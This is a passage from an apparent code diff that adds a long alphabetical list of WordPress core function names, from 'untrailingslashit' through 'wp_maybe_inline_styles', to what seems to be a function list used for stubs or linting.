'untrailingslashit', + 'unzip_file', + 'update_archived', + 'update_attached_file', + 'update_blog_details', + 'update_blog_option', + 'update_blog_public', + 'update_blog_status', + 'update_category_cache', + 'update_comment_cache', + 'update_comment_meta', + 'update_core', + 'update_gallery_tab', + 'update_home_siteurl', + 'update_ignored_hooked_blocks_postmeta', + 'update_menu_item_cache', + 'update_meta', + 'update_meta_cache', + 'update_metadata', + 'update_metadata_by_mid', + 'update_nag', + 'update_network_cache', + 'update_network_option', + 'update_network_option_new_admin_email', + 'update_object_term_cache', + 'update_option', + 'update_option_new_admin_email', + 'update_page_cache', + 'update_post_author_caches', + 'update_post_cache', + 'update_post_caches', + 'update_post_meta', + 'update_post_parent_caches', + 'update_post_thumbnail_cache', + 'update_postmeta_cache', + 'update_posts_count', + 'update_recently_edited', + 'update_right_now_message', + 'update_site_cache', + 'update_site_meta', + 'update_site_option', + 'update_sitemeta_cache', + 'update_term_cache', + 'update_term_meta', + 'update_termmeta_cache', + 'update_user_caches', + 'update_user_meta', + 'update_user_option', + 'update_user_status', + 'update_usermeta', + 'upgrade_100', + 'upgrade_101', + 'upgrade_110', + 'upgrade_130', + 'upgrade_160', + 'upgrade_210', + 'upgrade_230', + 'upgrade_230_old_tables', + 'upgrade_230_options_table', + 'upgrade_250', + 'upgrade_252', + 'upgrade_260', + 'upgrade_270', + 'upgrade_280', + 'upgrade_290', + 'upgrade_300', + 'upgrade_330', + 'upgrade_340', + 'upgrade_350', + 'upgrade_370', + 'upgrade_372', + 'upgrade_380', + 'upgrade_400', + 'upgrade_420', + 'upgrade_430', + 'upgrade_430_fix_comments', + 'upgrade_431', + 'upgrade_440', + 'upgrade_450', + 'upgrade_460', + 'upgrade_500', + 'upgrade_510', + 'upgrade_530', + 'upgrade_550', + 'upgrade_560', + 'upgrade_590', + 'upgrade_600', + 'upgrade_630', + 'upgrade_640', + 'upgrade_650', + 'upgrade_670', + 'upgrade_682', + 'upgrade_700', + 'upgrade_all', + 'upgrade_network', + 'upgrade_old_slugs', + 'upload_is_file_too_big', + 'upload_is_user_over_quota', + 'upload_size_limit_filter', + 'upload_space_setting', + 'url_is_accessable_via_ssl', + 'url_shorten', + 'url_to_postid', + 'urldecode_deep', + 'urlencode_deep', + 'use_block_editor_for_post', + 'use_block_editor_for_post_type', + 'use_codepress', + 'use_ssl_preference', + 'user_admin_url', + 'user_can', + 'user_can_access_admin_page', + 'user_can_create_draft', + 'user_can_create_post', + 'user_can_delete_post', + 'user_can_delete_post_comments', + 'user_can_edit_post', + 'user_can_edit_post_comments', + 'user_can_edit_post_date', + 'user_can_edit_user', + 'user_can_for_site', + 'user_can_richedit', + 'user_can_set_post_date', + 'user_pass_ok', + 'user_trailingslashit', + 'username_exists', + 'users_can_register_signup_filter', + 'utf8_decode', + 'utf8_encode', + 'utf8_uri_encode', + 'valid_unicode', + 'validate_active_plugins', + 'validate_another_blog_signup', + 'validate_blog_form', + 'validate_blog_signup', + 'validate_current_theme', + 'validate_email', + 'validate_file', + 'validate_file_to_edit', + 'validate_plugin', + 'validate_plugin_requirements', + 'validate_theme_requirements', + 'validate_user_form', + 'validate_user_signup', + 'validate_username', + 'verify_file_md5', + 'verify_file_signature', + 'walk_category_dropdown_tree', + 'walk_category_tree', + 'walk_nav_menu_tree', + 'walk_page_dropdown_tree', + 'walk_page_tree', + 'weblog_ping', + 'welcome_user_msg_filter', + 'win_is_writable', + 'wlwmanifest_link', + 'wp', + 'wp_add_dashboard_widget', + 'wp_add_editor_classic_theme_styles', + 'wp_add_footnotes_to_revision', + 'wp_add_global_styles_for_blocks', + 'wp_add_id3_tag_data', + 'wp_add_iframed_editor_assets_html', + 'wp_add_inline_script', + 'wp_add_inline_style', + 'wp_add_object_terms', + 'wp_add_parent_layout_to_parsed_block', + 'wp_add_post_tags', + 'wp_add_privacy_policy_content', + 'wp_add_trashed_suffix_to_post_name_for_post', + 'wp_add_trashed_suffix_to_post_name_for_trashed_posts', + 'wp_admin_bar_add_secondary_groups', + 'wp_admin_bar_appearance_menu', + 'wp_admin_bar_command_palette_menu', + 'wp_admin_bar_comments_menu', + 'wp_admin_bar_customize_menu', + 'wp_admin_bar_dashboard_view_site_menu', + 'wp_admin_bar_edit_menu', + 'wp_admin_bar_edit_site_menu', + 'wp_admin_bar_header', + 'wp_admin_bar_my_account_item', + 'wp_admin_bar_my_account_menu', + 'wp_admin_bar_my_sites_menu', + 'wp_admin_bar_new_content_menu', + 'wp_admin_bar_recovery_mode_menu', + 'wp_admin_bar_render', + 'wp_admin_bar_search_menu', + 'wp_admin_bar_shortlink_menu', + 'wp_admin_bar_sidebar_toggle', + 'wp_admin_bar_site_menu', + 'wp_admin_bar_updates_menu', + 'wp_admin_bar_wp_menu', + 'wp_admin_canonical_url', + 'wp_admin_css', + 'wp_admin_css_color', + 'wp_admin_css_uri', + 'wp_admin_headers', + 'wp_admin_notice', + 'wp_admin_viewport_meta', + 'wp_after_insert_post', + 'wp_ai_client_prompt', + 'wp_ajax_activate_plugin', + 'wp_ajax_add_link_category', + 'wp_ajax_add_menu_item', + 'wp_ajax_add_meta', + 'wp_ajax_add_tag', + 'wp_ajax_add_user', + 'wp_ajax_ajax_tag_search', + 'wp_ajax_autocomplete_user', + 'wp_ajax_closed_postboxes', + 'wp_ajax_crop_image', + 'wp_ajax_dashboard_widgets', + 'wp_ajax_date_format', + 'wp_ajax_delete_comment', + 'wp_ajax_delete_inactive_widgets', + 'wp_ajax_delete_link', + 'wp_ajax_delete_meta', + 'wp_ajax_delete_page', + 'wp_ajax_delete_plugin', + 'wp_ajax_delete_post', + 'wp_ajax_delete_tag', + 'wp_ajax_delete_theme', + 'wp_ajax_destroy_sessions', + 'wp_ajax_dim_comment', + 'wp_ajax_dismiss_wp_pointer', + 'wp_ajax_edit_comment', + 'wp_ajax_edit_theme_plugin_file', + 'wp_ajax_fetch_list', + 'wp_ajax_find_posts', + 'wp_ajax_generate_password', + 'wp_ajax_get_attachment', + 'wp_ajax_get_comments', + 'wp_ajax_get_community_events', + 'wp_ajax_get_permalink', + 'wp_ajax_get_post_thumbnail_html', + 'wp_ajax_get_revision_diffs', + 'wp_ajax_get_tagcloud', + 'wp_ajax_health_check_background_updates', + 'wp_ajax_health_check_dotorg_communication', + 'wp_ajax_health_check_get_sizes', + 'wp_ajax_health_check_loopback_requests', + 'wp_ajax_health_check_site_status_result', + 'wp_ajax_heartbeat', + 'wp_ajax_hidden_columns', + 'wp_ajax_image_editor', + 'wp_ajax_imgedit_preview', + 'wp_ajax_inline_save', + 'wp_ajax_inline_save_tax', + 'wp_ajax_install_plugin', + 'wp_ajax_install_theme', + 'wp_ajax_logged_in', + 'wp_ajax_media_create_image_subsizes', + 'wp_ajax_menu_get_metabox', + 'wp_ajax_menu_locations_save', + 'wp_ajax_menu_quick_search', + 'wp_ajax_meta_box_order', + 'wp_ajax_nopriv_generate_password', + 'wp_ajax_nopriv_heartbeat', + 'wp_ajax_oembed_cache', + 'wp_ajax_parse_embed', + 'wp_ajax_parse_media_shortcode', + 'wp_ajax_press_this_add_category', + 'wp_ajax_press_this_save_post', + 'wp_ajax_query_attachments', + 'wp_ajax_query_themes', + 'wp_ajax_replyto_comment', + 'wp_ajax_rest_nonce', + 'wp_ajax_sample_permalink', + 'wp_ajax_save_attachment', + 'wp_ajax_save_attachment_compat', + 'wp_ajax_save_attachment_order', + 'wp_ajax_save_user_color_scheme', + 'wp_ajax_save_widget', + 'wp_ajax_save_wporg_username', + 'wp_ajax_search_install_plugins', + 'wp_ajax_search_plugins', + 'wp_ajax_send_attachment_to_editor', + 'wp_ajax_send_link_to_editor', + 'wp_ajax_send_password_reset', + 'wp_ajax_set_attachment_thumbnail', + 'wp_ajax_set_post_thumbnail', + 'wp_ajax_time_format', + 'wp_ajax_toggle_auto_updates', + 'wp_ajax_trash_post', + 'wp_ajax_untrash_post', + 'wp_ajax_update_plugin', + 'wp_ajax_update_theme', + 'wp_ajax_update_welcome_panel', + 'wp_ajax_update_widget', + 'wp_ajax_upload_attachment', + 'wp_ajax_widgets_order', + 'wp_ajax_wp_compression_test', + 'wp_ajax_wp_fullscreen_save_post', + 'wp_ajax_wp_link_ajax', + 'wp_ajax_wp_privacy_erase_personal_data', + 'wp_ajax_wp_privacy_export_personal_data', + 'wp_ajax_wp_remove_post_lock', + 'wp_allow_comment', + 'wp_allowed_protocols', + 'wp_apply_alignment_support', + 'wp_apply_anchor_support', + 'wp_apply_aria_label_support', + 'wp_apply_border_support', + 'wp_apply_colors_support', + 'wp_apply_custom_classname_support', + 'wp_apply_dimensions_support', + 'wp_apply_generated_classname_support', + 'wp_apply_shadow_support', + 'wp_apply_spacing_support', + 'wp_apply_typography_support', + 'wp_array_slice_assoc', + 'wp_assign_widget_to_sidebar', + 'wp_attach_theme_preview_middleware', + 'wp_attachment_is', + 'wp_attachment_is_image', + 'wp_audio_shortcode', + 'wp_auth_check', + 'wp_auth_check_html', + 'wp_auth_check_load', + 'wp_authenticate', + 'wp_authenticate_application_password', + 'wp_authenticate_cookie', + 'wp_authenticate_email_password', + 'wp_authenticate_spam_check', + 'wp_authenticate_username_password', + 'wp_autoload_values_to_autoload', + 'wp_autosave', + 'wp_autosave_post_revisioned_meta_fields', + 'wp_basename', + 'wp_blacklist_check', + 'wp_block_theme_activate_nonce', + 'wp_body_open', + 'wp_cache_add', + 'wp_cache_add_global_groups', + 'wp_cache_add_multiple', + 'wp_cache_add_non_persistent_groups', + 'wp_cache_close', + 'wp_cache_decr', + 'wp_cache_delete', + 'wp_cache_delete_multiple', + 'wp_cache_flush', + 'wp_cache_flush_group', + 'wp_cache_flush_runtime', + 'wp_cache_get', + 'wp_cache_get_last_changed', + 'wp_cache_get_multiple', + 'wp_cache_get_multiple_salted', + 'wp_cache_get_salted', + 'wp_cache_incr', + 'wp_cache_init', + 'wp_cache_replace', + 'wp_cache_reset', + 'wp_cache_set', + 'wp_cache_set_comments_last_changed', + 'wp_cache_set_last_changed', + 'wp_cache_set_multiple', + 'wp_cache_set_multiple_salted', + 'wp_cache_set_posts_last_changed', + 'wp_cache_set_salted', + 'wp_cache_set_sites_last_changed', + 'wp_cache_set_terms_last_changed', + 'wp_cache_set_users_last_changed', + 'wp_cache_supports', + 'wp_cache_switch_to_blog', + 'wp_cache_switch_to_blog_fallback', + 'wp_calculate_image_sizes', + 'wp_calculate_image_srcset', + 'wp_can_install_language_pack', + 'wp_caption_input_textarea', + 'wp_category_checklist', + 'wp_check_browser_version', + 'wp_check_comment_data', + 'wp_check_comment_data_max_lengths', + 'wp_check_comment_disallowed_list', + 'wp_check_comment_flood', + 'wp_check_filetype', + 'wp_check_filetype_and_ext', + 'wp_check_for_changed_dates', + 'wp_check_for_changed_slugs', + 'wp_check_invalid_utf8', + 'wp_check_jsonp_callback', + 'wp_check_locked_posts', + 'wp_check_mysql_version', + 'wp_check_password', + 'wp_check_php_mysql_versions', + 'wp_check_php_version', + 'wp_check_post_hierarchy_for_loops', + 'wp_check_post_lock', + 'wp_check_revisioned_meta_fields_have_changed', + 'wp_check_site_meta_support_prefilter', + 'wp_check_term_hierarchy_for_loops', + 'wp_check_term_meta_support_prefilter', + 'wp_check_widget_editor_deps', + 'wp_checkdate', + 'wp_clean_plugins_cache', + 'wp_clean_theme_json_cache', + 'wp_clean_themes_cache', + 'wp_clean_update_cache', + 'wp_clear_auth_cookie', + 'wp_clear_scheduled_hook', + 'wp_clearcookie', + 'wp_clone', + 'wp_color_scheme_settings', + 'wp_comment_form_unfiltered_html_nonce', + 'wp_comment_reply', + 'wp_comment_trashnotice', + 'wp_comments_personal_data_eraser', + 'wp_comments_personal_data_exporter', + 'wp_common_block_scripts_and_styles', + 'wp_constrain_dimensions', + 'wp_convert_bytes_to_hr', + 'wp_convert_hr_to_bytes', + 'wp_convert_widget_settings', + 'wp_cookie_constants', + 'wp_copy_parent_attachment_properties', + 'wp_count_attachments', + 'wp_count_comments', + 'wp_count_posts', + 'wp_count_sites', + 'wp_count_terms', + 'wp_create_block_style_variation_instance_name', + 'wp_create_categories', + 'wp_create_category', + 'wp_create_image_subsizes', + 'wp_create_initial_comment_meta', + 'wp_create_initial_post_meta', + 'wp_create_nav_menu', + 'wp_create_nonce', + 'wp_create_post_autosave', + 'wp_create_tag', + 'wp_create_term', + 'wp_create_thumbnail', + 'wp_create_user', + 'wp_create_user_request', + 'wp_credits', + 'wp_credits_section_list', + 'wp_credits_section_title', + 'wp_cron', + 'wp_crop_image', + 'wp_custom_css_cb', + 'wp_custom_css_force_filtered_html_on_import_filter', + 'wp_custom_css_kses_init', + 'wp_custom_css_kses_init_filters', + 'wp_custom_css_remove_filters', + 'wp_customize_support_script', + 'wp_customize_url', + 'wp_dashboard', + 'wp_dashboard_browser_nag', + 'wp_dashboard_cached_rss_widget', + 'wp_dashboard_empty', + 'wp_dashboard_events_news', + 'wp_dashboard_incoming_links', + 'wp_dashboard_incoming_links_control', + 'wp_dashboard_incoming_links_output', + 'wp_dashboard_php_nag', + 'wp_dashboard_plugins', + 'wp_dashboard_plugins_output', + 'wp_dashboard_primary', + 'wp_dashboard_primary_control', + 'wp_dashboard_primary_output', + 'wp_dashboard_quick_press', + 'wp_dashboard_quick_press_output', + 'wp_dashboard_quota', + 'wp_dashboard_recent_comments', + 'wp_dashboard_recent_comments_control', + 'wp_dashboard_recent_drafts', + 'wp_dashboard_recent_posts', + 'wp_dashboard_right_now', + 'wp_dashboard_rss_control', + 'wp_dashboard_rss_output', + 'wp_dashboard_secondary', + 'wp_dashboard_secondary_control', + 'wp_dashboard_secondary_output', + 'wp_dashboard_setup', + 'wp_dashboard_site_activity', + 'wp_dashboard_site_health', + 'wp_dashboard_trigger_widget_control', + 'wp_date', + 'wp_debug_backtrace_summary', + 'wp_debug_mode', + 'wp_default_editor', + 'wp_default_packages', + 'wp_default_packages_inline_scripts', + 'wp_default_packages_scripts', + 'wp_default_packages_vendor', + 'wp_default_script_modules', + 'wp_default_scripts', + 'wp_default_styles', + 'wp_defer_comment_counting', + 'wp_defer_term_counting', + 'wp_delete_all_temp_backups', + 'wp_delete_attachment', + 'wp_delete_attachment_files', + 'wp_delete_auto_drafts', + 'wp_delete_category', + 'wp_delete_comment', + 'wp_delete_file', + 'wp_delete_file_from_directory', + 'wp_delete_link', + 'wp_delete_nav_menu', + 'wp_delete_object_term_relationships', + 'wp_delete_post', + 'wp_delete_post_revision', + 'wp_delete_signup_on_user_delete', + 'wp_delete_site', + 'wp_delete_term', + 'wp_delete_user', + 'wp_dependencies_unique_hosts', + 'wp_dequeue_script', + 'wp_dequeue_script_module', + 'wp_dequeue_style', + 'wp_deregister_script', + 'wp_deregister_script_module', + 'wp_deregister_style', + 'wp_destroy_all_sessions', + 'wp_destroy_current_session', + 'wp_destroy_other_sessions', + 'wp_determine_option_autoload_value', + 'wp_die', + 'wp_direct_php_update_button', + 'wp_doc_link_parse', + 'wp_doing_ajax', + 'wp_doing_cron', + 'wp_download_language_pack', + 'wp_dropdown_categories', + 'wp_dropdown_cats', + 'wp_dropdown_languages', + 'wp_dropdown_pages', + 'wp_dropdown_roles', + 'wp_dropdown_users', + 'wp_edit_attachments_query', + 'wp_edit_attachments_query_vars', + 'wp_edit_posts_query', + 'wp_edit_theme_plugin_file', + 'wp_editor', + 'wp_embed_defaults', + 'wp_embed_excerpt_attachment', + 'wp_embed_excerpt_more', + 'wp_embed_handler_audio', + 'wp_embed_handler_googlevideo', + 'wp_embed_handler_video', + 'wp_embed_handler_youtube', + 'wp_embed_register_handler', + 'wp_embed_unregister_handler', + 'wp_enable_block_templates', + 'wp_encode_emoji', + 'wp_enqueue_admin_bar_bump_styles', + 'wp_enqueue_admin_bar_header_styles', + 'wp_enqueue_block_custom_css', + 'wp_enqueue_block_editor_script_modules', + 'wp_enqueue_block_style', + 'wp_enqueue_block_style_variation_styles', + 'wp_enqueue_block_support_styles', + 'wp_enqueue_block_template_skip_link', + 'wp_enqueue_classic_theme_styles', + 'wp_enqueue_code_editor', + 'wp_enqueue_command_palette_assets', + 'wp_enqueue_editor', + 'wp_enqueue_editor_block_directory_assets', + 'wp_enqueue_editor_format_library_assets', + 'wp_enqueue_embed_styles', + 'wp_enqueue_emoji_styles', + 'wp_enqueue_global_styles', + 'wp_enqueue_global_styles_css_custom_properties', + 'wp_enqueue_global_styles_custom_css', + 'wp_enqueue_img_auto_sizes_contain_css_fix', + 'wp_enqueue_media', + 'wp_enqueue_registered_block_scripts_and_styles', + 'wp_enqueue_script', + 'wp_enqueue_script_module', + 'wp_enqueue_scripts', + 'wp_enqueue_stored_styles', + 'wp_enqueue_style', + 'wp_enqueue_view_transitions_admin_css', + 'wp_ensure_editable_role', + 'wp_exif_date2ts', + 'wp_exif_frac2dec', + 'wp_expand_dimensions', + 'wp_explain_nonce', + 'wp_ext2type', + 'wp_extract_urls', + 'wp_fast_hash', + 'wp_favicon_request', + 'wp_filesize', + 'wp_filter_comment', + 'wp_filter_content_tags', + 'wp_filter_default_autoload_value_via_option_size', + 'wp_filter_global_styles_post', + 'wp_filter_kses', + 'wp_filter_nohtml_kses', + 'wp_filter_object_list', + 'wp_filter_oembed_iframe_title_attribute', + 'wp_filter_oembed_result', + 'wp_filter_out_block_nodes', + 'wp_filter_post_kses', + 'wp_filter_pre_oembed_result', + 'wp_filter_wp_template_unique_post_slug', + 'wp_finalize_scraping_edited_file_errors', + 'wp_finalize_template_enhancement_output_buffer', + 'wp_find_hierarchy_loop', + 'wp_find_hierarchy_loop_tortoise_hare', + 'wp_find_widgets_sidebar', + 'wp_fix_server_vars', + 'wp_font_dir', + 'wp_font_library_intercept_render', + 'wp_font_library_preload_data', + 'wp_font_library_render_page', + 'wp_font_library_wp_admin_enqueue_scripts', + 'wp_font_library_wp_admin_preload_data', + 'wp_font_library_wp_admin_render_page', + 'wp_footer', + 'wp_force_plain_post_permalink', + 'wp_functionality_constants', + 'wp_fuzzy_number_match', + 'wp_generate_attachment_metadata', + 'wp_generate_auth_cookie', + 'wp_generate_block_templates_export_file', + 'wp_generate_password', + 'wp_generate_tag_cloud', + 'wp_generate_user_request_key', + 'wp_generate_uuid4', + 'wp_generator', + 'wp_get_abilities', + 'wp_get_ability', + 'wp_get_ability_categories', + 'wp_get_ability_category', + 'wp_get_active_and_valid_plugins', + 'wp_get_active_and_valid_themes', + 'wp_get_active_network_plugins', + 'wp_get_additional_image_sizes', + 'wp_get_admin_notice', + 'wp_get_all_sessions', + 'wp_get_archives', + 'wp_get_associated_nav_menu_items', + 'wp_get_attachment_caption', + 'wp_get_attachment_id3_keys', + 'wp_get_attachment_image', + 'wp_get_attachment_image_sizes', + 'wp_get_attachment_image_src', + 'wp_get_attachment_image_srcset', + 'wp_get_attachment_image_url', + 'wp_get_attachment_link', + 'wp_get_attachment_metadata', + 'wp_get_attachment_thumb_file', + 'wp_get_attachment_thumb_url', + 'wp_get_attachment_url', + 'wp_get_audio_extensions', + 'wp_get_auto_update_message', + 'wp_get_available_translations', + 'wp_get_avif_info', + 'wp_get_block_css_selector', + 'wp_get_block_default_classname', + 'wp_get_block_name_from_theme_json_path', + 'wp_get_block_style_variation_name_from_class', + 'wp_get_block_style_variation_name_from_registered_style', + 'wp_get_canonical_url', + 'wp_get_code_editor_settings', + 'wp_get_comment_fields_max_lengths', + 'wp_get_comment_status', + 'wp_get_computed_fluid_typography_value', + 'wp_get_connector', + 'wp_get_connectors', + 'wp_get_cookie_login', + 'wp_get_current_commenter', + 'wp_get_current_user', + 'wp_get_custom_css', + 'wp_get_custom_css_post', + 'wp_get_db_schema', + 'wp_get_default_extension_for_mime_type', + 'wp_get_default_update_https_url', + 'wp_get_default_update_php_url', + 'wp_get_development_mode', + 'wp_get_direct_php_update_url', + 'wp_get_direct_update_https_url', + 'wp_get_document_title', + 'wp_get_duotone_filter_id', + 'wp_get_duotone_filter_property', + 'wp_get_duotone_filter_svg', + 'wp_get_elements_class_name', + 'wp_get_environment_type', + 'wp_get_ext_types', + 'wp_get_extension_error_description', + 'wp_get_first_block', + 'wp_get_font_dir', + 'wp_get_font_library_menu_items', + 'wp_get_font_library_routes', + 'wp_get_font_library_wp_admin_menu_items', + 'wp_get_font_library_wp_admin_routes', + 'wp_get_footnotes_from_revision', + 'wp_get_global_settings', + 'wp_get_global_styles', + 'wp_get_global_styles_custom_css', + 'wp_get_global_styles_svg_filters', + 'wp_get_global_stylesheet', + 'wp_get_http', + 'wp_get_http_headers', + 'wp_get_https_detection_errors', + 'wp_get_image_alttext', + 'wp_get_image_editor', + 'wp_get_image_editor_output_format', + 'wp_get_image_mime', + 'wp_get_inline_script_tag', + 'wp_get_installed_translations', + 'wp_get_l10n_php_file_data', + 'wp_get_latest_revision_id_and_total_count', + 'wp_get_layout_definitions', + 'wp_get_layout_style', + 'wp_get_link_cats', + 'wp_get_links', + 'wp_get_linksbyname', + 'wp_get_list_item_separator', + 'wp_get_loading_attr_default', + 'wp_get_loading_optimization_attributes', + 'wp_get_media_creation_timestamp', + 'wp_get_mime_types', + 'wp_get_missing_image_subsizes', + 'wp_get_mu_plugins', + 'wp_get_nav_menu_items', + 'wp_get_nav_menu_name', + 'wp_get_nav_menu_object', + 'wp_get_nav_menu_to_edit', + 'wp_get_nav_menus', + 'wp_get_network', + 'wp_get_nocache_headers', + 'wp_get_object_terms', + 'wp_get_options_connectors_menu_items', + 'wp_get_options_connectors_routes', + 'wp_get_options_connectors_wp_admin_menu_items', + 'wp_get_options_connectors_wp_admin_routes', + 'wp_get_original_image_path', + 'wp_get_original_image_url', + 'wp_get_original_referer', + 'wp_get_password_hint', + 'wp_get_plugin_action_button', + 'wp_get_plugin_error', + 'wp_get_plugin_file_editable_extensions', + 'wp_get_pomo_file_data', + 'wp_get_popular_importers', + 'wp_get_post_autosave', + 'wp_get_post_categories', + 'wp_get_post_cats', + 'wp_get_post_content_block_attributes', + 'wp_get_post_parent_id', + 'wp_get_post_revision', + 'wp_get_post_revisions', + 'wp_get_post_revisions_url', + 'wp_get_post_tags', + 'wp_get_post_terms', + 'wp_get_raw_referer', + 'wp_get_ready_cron_jobs', + 'wp_get_recent_posts', + 'wp_get_referer', + 'wp_get_registered_image_subsizes', + 'wp_get_revision_ui_diff', + 'wp_get_schedule', + 'wp_get_scheduled_event', + 'wp_get_schedules', + 'wp_get_script_polyfill', + 'wp_get_script_tag', + 'wp_get_server_protocol', + 'wp_get_session_token', + 'wp_get_shortlink', + 'wp_get_sidebar', + 'wp_get_sidebars_widgets', + 'wp_get_single_post', + 'wp_get_sitemap_providers', + 'wp_get_sites', + 'wp_get_speculation_rules', + 'wp_get_speculation_rules_configuration', + 'wp_get_split_term', + 'wp_get_split_terms', + 'wp_get_term_taxonomy_parent_id', + 'wp_get_theme', + 'wp_get_theme_data_custom_templates', + 'wp_get_theme_data_template_parts', + 'wp_get_theme_directory_pattern_slugs', + 'wp_get_theme_error', + 'wp_get_theme_file_editable_extensions', + 'wp_get_theme_preview_path', + 'wp_get_themes', + 'wp_get_translation_updates', + 'wp_get_typography_font_size_value', + 'wp_get_typography_value_and_unit', + 'wp_get_unapproved_comment_author_email', + 'wp_get_update_data', + 'wp_get_update_https_url', + 'wp_get_update_php_annotation', + 'wp_get_update_php_url', + 'wp_get_upload_dir', + 'wp_get_user_contact_methods', + 'wp_get_user_request', + 'wp_get_user_request_data', + 'wp_get_users_with_no_role', + 'wp_get_video_extensions', + 'wp_get_view_transitions_admin_css', + 'wp_get_webp_info', + 'wp_get_widget_defaults', + 'wp_get_word_count_type', + 'wp_get_wp_version', + 'wp_getimagesize', + 'wp_global_styles_render_svg_filters', + 'wp_guess_url', + 'wp_handle_comment_submission', + 'wp_handle_sideload', + 'wp_handle_upload', + 'wp_handle_upload_error', + 'wp_has_ability', + 'wp_has_ability_category', + 'wp_has_border_feature_support', + 'wp_has_noncharacters', + 'wp_hash', + 'wp_hash_password', + 'wp_head', + 'wp_heartbeat_set_suspension', + 'wp_heartbeat_settings', + 'wp_high_priority_element_flag', + 'wp_hoist_late_printed_styles', + 'wp_html_custom_data_attribute_name', + 'wp_html_excerpt', + 'wp_html_split', + 'wp_htmledit_pre', + 'wp_http_supports', + 'wp_http_validate_url', + 'wp_iframe', + 'wp_iframe_tag_add_loading_attr', + 'wp_image_add_srcset_and_sizes', + 'wp_image_editor', + 'wp_image_editor_supports', + 'wp_image_file_matches_image_meta', + 'wp_image_matches_ratio', + 'wp_image_src_get_dimensions', + 'wp_imagecreatetruecolor', + 'wp_img_tag_add_auto_sizes', + 'wp_img_tag_add_decoding_attr', + 'wp_img_tag_add_loading_attr', + 'wp_img_tag_add_loading_optimization_attrs', + 'wp_img_tag_add_srcset_and_sizes_attr', + 'wp_img_tag_add_width_and_height_attr', + 'wp_import_cleanup', + 'wp_import_handle_upload', + 'wp_import_upload_form', + 'wp_increase_content_media_count', + 'wp_init_targeted_link_rel_filters', + 'wp_initial_constants', + 'wp_initial_nav_menu_meta_boxes', + 'wp_initialize_site', + 'wp_initialize_site_preview_hooks', + 'wp_initialize_theme_preview_hooks', + 'wp_insert_attachment', + 'wp_insert_category', + 'wp_insert_comment', + 'wp_insert_link', + 'wp_insert_post', + 'wp_insert_site', + 'wp_insert_term', + 'wp_insert_user', + 'wp_install', + 'wp_install_defaults', + 'wp_install_language_form', + 'wp_install_maybe_enable_pretty_permalinks', + 'wp_installing', + 'wp_interactivity', + 'wp_interactivity_config', + 'wp_interactivity_data_wp_context', + 'wp_interactivity_get_context', + 'wp_interactivity_get_element', + 'wp_interactivity_process_directives', + 'wp_interactivity_process_directives_of_interactive_blocks', + 'wp_interactivity_state', + 'wp_internal_hosts', + 'wp_is_application_passwords_available', + 'wp_is_application_passwords_available_for_user', + 'wp_is_application_passwords_supported', + 'wp_is_authorize_application_password_request_valid', + 'wp_is_authorize_application_redirect_url_valid', + 'wp_is_auto_update_enabled_for_type', + 'wp_is_auto_update_forced_for_item', + 'wp_is_block_theme', + 'wp_is_connector_registered', + 'wp_is_development_mode', + 'wp_is_fatal_error_handler_enabled', + 'wp_is_file_mod_allowed', + 'wp_is_heic_image_mime_type', + 'wp_is_home_url_using_https', + 'wp_is_https_supported', + 'wp_is_ini_value_changeable', + 'wp_is_internal_link', + 'wp_is_json_media_type', + 'wp_is_json_request', + 'wp_is_jsonp_request', + 'wp_is_large_network', + 'wp_is_large_user_count', + 'wp_is_local_html_output', + 'wp_is_maintenance_mode', + 'wp_is_mobile', + 'wp_is_numeric_array', + 'wp_is_password_reset_allowed_for_user', + 'wp_is_post_autosave', + 'wp_is_post_revision', + 'wp_is_recovery_mode', + 'wp_is_rest_endpoint', + 'wp_is_serving_rest_request', + 'wp_is_site_initialized', + 'wp_is_site_protected_by_basic_auth', + 'wp_is_site_url_using_https', + 'wp_is_stream', + 'wp_is_theme_directory_ignored', + 'wp_is_using_https', + 'wp_is_uuid', + 'wp_is_valid_utf8', + 'wp_is_writable', + 'wp_is_xml_request', + 'wp_iso_descrambler', + 'wp_js_dataset_name', + 'wp_json_encode', + 'wp_json_file_decode', + 'wp_just_in_time_script_localization', + 'wp_kses', + 'wp_kses_allowed_html', + 'wp_kses_array_lc', + 'wp_kses_attr', + 'wp_kses_attr_check', + 'wp_kses_attr_parse', + 'wp_kses_bad_protocol', + 'wp_kses_bad_protocol_once', + 'wp_kses_bad_protocol_once2', + 'wp_kses_check_attr_val', + 'wp_kses_data', + 'wp_kses_decode_entities', + 'wp_kses_hair', + 'wp_kses_hair_parse', + 'wp_kses_hook', + 'wp_kses_html_error', + 'wp_kses_js_entities', + 'wp_kses_named_entities', + 'wp_kses_no_null', + 'wp_kses_normalize_entities', + 'wp_kses_normalize_entities2', + 'wp_kses_normalize_entities3', + 'wp_kses_one_attr', + 'wp_kses_post', + 'wp_kses_post_deep', + 'wp_kses_split', + 'wp_kses_split2', + 'wp_kses_stripslashes', + 'wp_kses_uri_attributes', + 'wp_kses_version', + 'wp_kses_xml_named_entities', + 'wp_latest_comments_draft_or_post_title', + 'wp_lazy_loading_enabled', + 'wp_lazyload_comment_meta', + 'wp_lazyload_site_meta', + 'wp_lazyload_term_meta', + 'wp_link_category_checklist', + 'wp_link_manager_disabled_message', + 'wp_link_pages', + 'wp_list_authors', + 'wp_list_bookmarks', + 'wp_list_categories', + 'wp_list_cats', + 'wp_list_comments', + 'wp_list_filter', + 'wp_list_pages', + 'wp_list_pluck', + 'wp_list_post_revisions', + 'wp_list_sort', + 'wp_list_users', + 'wp_list_widget_controls', + 'wp_list_widget_controls_dynamic_sidebar', + 'wp_list_widgets', + 'wp_load_alloptions', + 'wp_load_classic_theme_block_styles_on_demand', + 'wp_load_core_site_options', + 'wp_load_image', + 'wp_load_press_this', + 'wp_load_translations_early', + 'wp_localize_community_events', + 'wp_localize_jquery_ui_datepicker', + 'wp_localize_script', + 'wp_login', + 'wp_login_form', + 'wp_login_url', + 'wp_login_viewport_meta', + 'wp_loginout', + 'wp_logout', + 'wp_logout_url', + 'wp_lostpassword_url', + 'wp_magic_quotes', + 'wp_mail', + 'wp_maintenance', + 'wp_make_content_images_responsive', + 'wp_make_link_relative', + 'wp_make_plugin_file_tree', + 'wp_make_theme_file_tree', + 'wp_map_nav_menu_locations', + 'wp_map_sidebars_widgets', + 'wp_mark_auto_generate_control_attributes', + 'wp_match_mime_types', + 'wp_max_upload_size', + 'wp_maybe_add_fetchpriority_high_attr', + 'wp_maybe_auto_update', + 'wp_maybe_clean_new_site_cache_on_update', + 'wp_maybe_decline_date', + 'wp_maybe_enqueue_oembed_host_js', + 'wp_maybe_generate_attachment_metadata', + 'wp_maybe_grant_install_languages_cap', + 'wp_maybe_grant_resume_extensions_caps', + 'wp_maybe_grant_site_health_caps', + 'wp_maybe_inline_styles', 